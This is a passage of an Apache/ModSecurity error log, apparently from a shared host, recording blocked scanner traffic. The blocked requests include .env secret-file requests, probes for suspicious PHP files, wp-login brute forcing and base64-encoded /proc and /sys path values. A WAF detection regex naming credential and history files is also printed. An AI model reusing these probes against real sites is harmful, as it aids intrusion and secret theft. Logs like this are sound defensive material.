2026] [security2:error] [pid 531797:tid 532014] [client 20.151.217.54:46253] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/samll.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a7QAAAiY"] [Sat Jun 13 18:09:27.826234 2026] [security2:error] [pid 531797:tid 531965] [remote 57.141.14.97:29760] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 97.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a7gACkWU"], referer: https://nelsonfarmstn.com/product/solid-beeswax-lotion-bar/?add_to_wishlist=380&_wpnonce=8d149de2a5&add-to-cart=402 [Sat Jun 13 18:09:27.917210 2026] [security2:error] [pid 531797:tid 531968] [remote 17.22.245.249:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a9QACa2c"] [Sat Jun 13 18:09:27.985107 2026] [security2:error] [pid 531797:tid 531956] [remote 209.38.221.42:47470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.221.38.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "kbm-realty.com"] [uri "/wp-login.php"] [unique_id "ai3xN8TA7b1mZrmcA-8a9gACIlw"] [Sat Jun 13 18:09:28.039256 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= [Sat Jun 13 18:09:28.039554 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= [Sat Jun 13 18:09:28.111364 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:28.111823 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:28.124873 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.15:21645] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:28.125291 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.15:21645] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:28.173895 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.26:32326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:28.174178 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.26:32326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:28.480596 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.71:36442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:28.480871 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.71:36442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:28.485601 2026] [security2:error] [pid 531797:tid 531930] [remote 17.246.23.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xOMTA7b1mZrmcA-8bBwAChkI"] [Sat Jun 13 18:09:28.549020 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:09:28.549298 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:09:28.572934 2026] [access_compat:error] [pid 531155:tid 531238] [remote 57.141.14.78:40122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:28.573197 2026] [access_compat:error] [pid 531155:tid 531238] [remote 57.141.14.78:40122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:28.621713 2026] [security2:error] [pid 531155:tid 531251] [remote 17.22.253.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xOCmiP80klyS0NnryOAABal8"] [Sat Jun 13 18:09:28.682055 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:28.682500 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:28.933967 2026] [security2:error] [pid 531797:tid 531921] [remote 209.38.221.42:47470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.221.38.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "kbm-realty.com"] [uri "/wp-login.php"] [unique_id "ai3xOMTA7b1mZrmcA-8bFQACRDk"], referer: https://kbm-realty.com/wp-login.php [Sat Jun 13 18:09:29.035433 2026] [access_compat:error] [pid 531797:tid 531888] [remote 57.141.14.14:49474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:29.035884 2026] [access_compat:error] [pid 531797:tid 531888] [remote 57.141.14.14:49474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:29.074784 2026] [security2:error] [pid 531797:tid 532128] [client 172.171.3.232:19534] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/an8.php"] [unique_id "ai3xOcTA7b1mZrmcA-8bGAAAApM"] [Sat Jun 13 18:09:29.093668 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:09:29.094009 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:09:29.113548 2026] [security2:error] [pid 531797:tid 532059] [client 72.14.147.177:47304] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "pedorthistontario.org"] [uri "/backend/.env"] [unique_id "ai3xOcTA7b1mZrmcA-8bHgAAAlE"] [Sat Jun 13 18:09:29.116198 2026] [security2:error] [pid 531797:tid 532020] [client 72.14.147.177:47312] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "pedorthistontario.org"] [uri "/api/.env"] [unique_id "ai3xOcTA7b1mZrmcA-8bHwAAAiw"] [Sat Jun 13 18:09:29.153748 2026] [security2:error] [pid 531155:tid 531358] [client 191.234.188.123:63931] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/rasse.php"] [unique_id "ai3xOSmiP80klyS0NnryTwAAAVM"] [Sat Jun 13 18:09:29.155876 2026] [security2:error] [pid 531797:tid 531894] [remote 17.241.219.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xOcTA7b1mZrmcA-8bIgACQx4"] [Sat Jun 13 18:09:29.179132 2026] [access_compat:error] [pid 531797:tid 531881] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:09:29.179641 2026] [access_compat:error] [pid 531797:tid 531881] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:09:29.570550 2026] [security2:error] [pid 531797:tid 531944] [remote 17.246.19.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xOcTA7b1mZrmcA-8bJwACVVA"] [Sat Jun 13 18:09:29.654927 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:09:29.655200 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:09:29.707857 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:09:29.708132 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:09:30.204185 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:09:30.204680 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:09:30.269396 2026] [access_compat:error] [pid 531797:tid 531949] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2Jpbg== [Sat Jun 13 18:09:30.269754 2026] [access_compat:error] [pid 531797:tid 531949] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2Jpbg== [Sat Jun 13 18:09:30.286986 2026] [security2:error] [pid 531797:tid 532057] [client 191.234.188.123:35655] ModSecurity: Warning. Pattern match "/1\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1543"] [id "900921"] [msg "temporary TUW-72162 logging rule"] [hostname "webdisk.ameritekwater.com"] [uri "/1.php"] [unique_id "ai3xOsTA7b1mZrmcA-8bPAAAAk8"] [Sat Jun 13 18:09:30.287125 2026] [security2:error] [pid 531797:tid 532057] [client 191.234.188.123:35655] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/1.php"] [unique_id "ai3xOsTA7b1mZrmcA-8bPAAAAk8"] [Sat Jun 13 18:09:30.390193 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.97:24224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:30.390622 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.97:24224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:30.464171 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.71:36446] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:30.464457 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.71:36446] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:30.546144 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.16:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:30.546604 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.16:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:30.596645 2026] [security2:error] [pid 531155:tid 531227] [remote 17.246.19.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xOimiP80klyS0NnryaQABNEc"] [Sat Jun 13 18:09:30.683701 2026] [security2:error] [pid 531797:tid 531885] [remote 17.246.19.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xOsTA7b1mZrmcA-8bTAACaRU"] [Sat Jun 13 18:09:30.684363 2026] [security2:error] [pid 531797:tid 531899] [remote 17.22.245.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xOsTA7b1mZrmcA-8bSgAChyM"] [Sat Jun 13 18:09:30.694447 2026] [security2:error] [pid 531797:tid 532108] [client 134.122.32.139:55665] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "rashed-office.com"] [uri "/.env"] [unique_id "ai3xOsTA7b1mZrmcA-8bTQAAAoE"] [Sat Jun 13 18:09:30.710544 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 